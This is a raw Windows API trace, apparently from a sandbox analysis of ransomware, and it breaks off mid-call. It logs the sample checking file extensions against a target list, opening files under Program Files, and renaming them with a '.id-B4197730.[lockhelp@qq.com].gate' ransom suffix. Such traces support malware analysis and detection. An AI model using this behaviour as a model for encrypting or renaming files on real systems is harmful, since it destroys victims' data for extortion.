(lpString=".docx") returned 5 [0318.470] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0318.470] lstrlenW (lpString=".pdf") returned 4 [0318.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.470] lstrlenW (lpString=".xls") returned 4 [0318.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.470] lstrlenW (lpString=".xlsx") returned 5 [0318.470] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0318.470] lstrlenW (lpString=".ppt") returned 4 [0318.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.470] lstrlenW (lpString=".zip") returned 4 [0318.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.470] lstrlenW (lpString=".rar") returned 4 [0318.470] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.470] lstrlenW (lpString=".bz2") returned 4 [0318.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.470] lstrlenW (lpString=".7z") returned 3 [0318.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.470] lstrlenW (lpString=".dbf") returned 4 [0318.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".1cd") returned 4 [0318.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".jpg") returned 4 [0318.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".doc") returned 4 [0318.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString=".docx") returned 5 [0318.471] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0318.471] lstrlenW (lpString=".pdf") returned 4 [0318.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString=".xls") returned 4 [0318.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString=".xlsx") returned 5 [0318.471] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0318.471] lstrlenW (lpString=".ppt") returned 4 [0318.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".zip") returned 4 [0318.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.471] lstrlenW (lpString=".rar") returned 4 [0318.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString=".bz2") returned 4 [0318.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString=".7z") returned 3 [0318.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".dbf") returned 4 [0318.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.471] lstrlenW (lpString=".1cd") returned 4 [0318.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.472] lstrlenW (lpString=".jpg") returned 4 [0318.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.472] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0318.472] lstrlenW (lpString="boxed-correct.avi") returned 17 [0318.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.473] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=111320) returned 1 [0318.473] CloseHandle (hObject=0x348) returned 1 [0318.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0318.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.473] lstrlenW (lpString=".doc") returned 4 [0318.473] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString=".docx") returned 5 [0318.473] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0318.473] lstrlenW (lpString=".pdf") returned 4 [0318.473] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString=".xls") returned 4 [0318.473] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString=".xlsx") returned 5 [0318.473] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0318.473] lstrlenW (lpString=".ppt") returned 4 [0318.473] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.473] lstrlenW (lpString=".zip") returned 4 [0318.473] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString=".rar") returned 4 [0318.473] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.473] lstrlenW (lpString=".bz2") returned 4 [0318.474] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".7z") returned 3 [0318.474] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString=".dbf") returned 4 [0318.474] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString=".1cd") returned 4 [0318.474] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString=".jpg") returned 4 [0318.474] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString=".doc") returned 4 [0318.474] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".docx") returned 5 [0318.474] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0318.474] lstrlenW (lpString=".pdf") returned 4 [0318.474] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".xls") returned 4 [0318.474] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".xlsx") returned 5 [0318.474] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0318.474] lstrlenW (lpString=".ppt") returned 4 [0318.474] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.474] lstrlenW (lpString=".zip") returned 4 [0318.474] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".rar") returned 4 [0318.474] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".bz2") returned 4 [0318.474] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.474] lstrlenW (lpString=".7z") returned 3 [0318.474] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.475] lstrlenW (lpString=".dbf") returned 4 [0318.475] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.475] lstrlenW (lpString=".1cd") returned 4 [0318.475] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0318.475] lstrlenW (lpString=".jpg") returned 4 [0318.475] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.475] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0318.475] lstrlenW (lpString="boxed-delete.avi") returned 16 [0318.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.475] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=48936) returned 1 [0318.475] CloseHandle (hObject=0x348) returned 1 [0318.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0318.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".doc") returned 4 [0318.476] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".docx") returned 5 [0318.476] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0318.476] lstrlenW (lpString=".pdf") returned 4 [0318.476] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".xls") returned 4 [0318.476] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".xlsx") returned 5 [0318.476] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0318.476] lstrlenW (lpString=".ppt") returned 4 [0318.476] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".zip") returned 4 [0318.476] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".rar") returned 4 [0318.476] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".bz2") returned 4 [0318.476] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString=".7z") returned 3 [0318.476] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".dbf") returned 4 [0318.476] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".1cd") returned 4 [0318.476] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".jpg") returned 4 [0318.476] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.476] lstrlenW (lpString=".doc") returned 4 [0318.477] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".docx") returned 5 [0318.477] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0318.477] lstrlenW (lpString=".pdf") returned 4 [0318.477] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".xls") returned 4 [0318.477] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".xlsx") returned 5 [0318.477] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0318.477] lstrlenW (lpString=".ppt") returned 4 [0318.477] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.477] lstrlenW (lpString=".zip") returned 4 [0318.477] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".rar") returned 4 [0318.477] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".bz2") returned 4 [0318.477] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString=".7z") returned 3 [0318.477] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.477] lstrlenW (lpString=".dbf") returned 4 [0318.477] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.477] lstrlenW (lpString=".1cd") returned 4 [0318.477] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0318.477] lstrlenW (lpString=".jpg") returned 4 [0318.477] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.477] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0318.477] lstrlenW (lpString="boxed-join.avi") returned 14 [0318.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.478] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=46622) returned 1 [0318.478] CloseHandle (hObject=0x348) returned 1 [0318.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0318.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.478] lstrlenW (lpString=".doc") returned 4 [0318.478] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.478] lstrlenW (lpString=".docx") returned 5 [0318.478] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0318.478] lstrlenW (lpString=".pdf") returned 4 [0318.478] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.478] lstrlenW (lpString=".xls") returned 4 [0318.478] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.478] lstrlenW (lpString=".xlsx") returned 5 [0318.478] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0318.478] lstrlenW (lpString=".ppt") returned 4 [0318.478] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.479] lstrlenW (lpString=".zip") returned 4 [0318.479] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.479] lstrlenW (lpString=".rar") returned 4 [0318.480] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString=".bz2") returned 4 [0318.485] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString=".7z") returned 3 [0318.485] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.485] lstrlenW (lpString=".dbf") returned 4 [0318.485] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.485] lstrlenW (lpString=".1cd") returned 4 [0318.485] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.485] lstrlenW (lpString=".jpg") returned 4 [0318.485] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.485] lstrlenW (lpString=".doc") returned 4 [0318.485] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString=".docx") returned 5 [0318.485] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0318.485] lstrlenW (lpString=".pdf") returned 4 [0318.485] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.485] lstrlenW (lpString=".xls") returned 4 [0318.486] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString=".xlsx") returned 5 [0318.486] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0318.486] lstrlenW (lpString=".ppt") returned 4 [0318.486] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.486] lstrlenW (lpString=".zip") returned 4 [0318.486] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString=".rar") returned 4 [0318.486] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString=".bz2") returned 4 [0318.486] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString=".7z") returned 3 [0318.486] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.486] lstrlenW (lpString=".dbf") returned 4 [0318.486] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0318.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.486] lstrlenW (lpString=".1cd") returned 4 [0318.486] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0318.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0318.486] lstrlenW (lpString=".jpg") returned 4 [0318.486] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0318.486] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0318.486] lstrlenW (lpString="boxed-split.avi") returned 15 [0318.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.487] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=84190) returned 1 [0318.487] CloseHandle (hObject=0x348) returned 1 [0318.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0318.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0318.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0318.487] lstrlenW (lpString=".doc") returned 4 [0318.487] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0318.487] lstrlenW (lpString=".docx") returned 5 [0318.487] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0318.487] lstrlenW (lpString=".pdf") returned 4 [0318.487] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0318.487] lstrlenW (lpString=".xls") returned 4 [0318.487] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0318.487] lstrlenW (lpString=".xlsx") returned 5 [0318.487] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0318.487] lstrlenW (lpString=".ppt") returned 4 [0318.487] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0318.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0318.487] lstrlenW (lpString=".zip") returned 4 [0318.488] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0318.488] lstrlenW (lpString=".rar") returned 4 [0318.488] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0318.488] lstrlenW (lpString=".bz2") returned 4 [0318.488] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0318.488] lstrlenW (lpString=".7z") returned 3 [0318.488] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0318.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.997] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.997] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0318.997] GetLastError () returned 0x0 [0318.997] ReadFile (in: 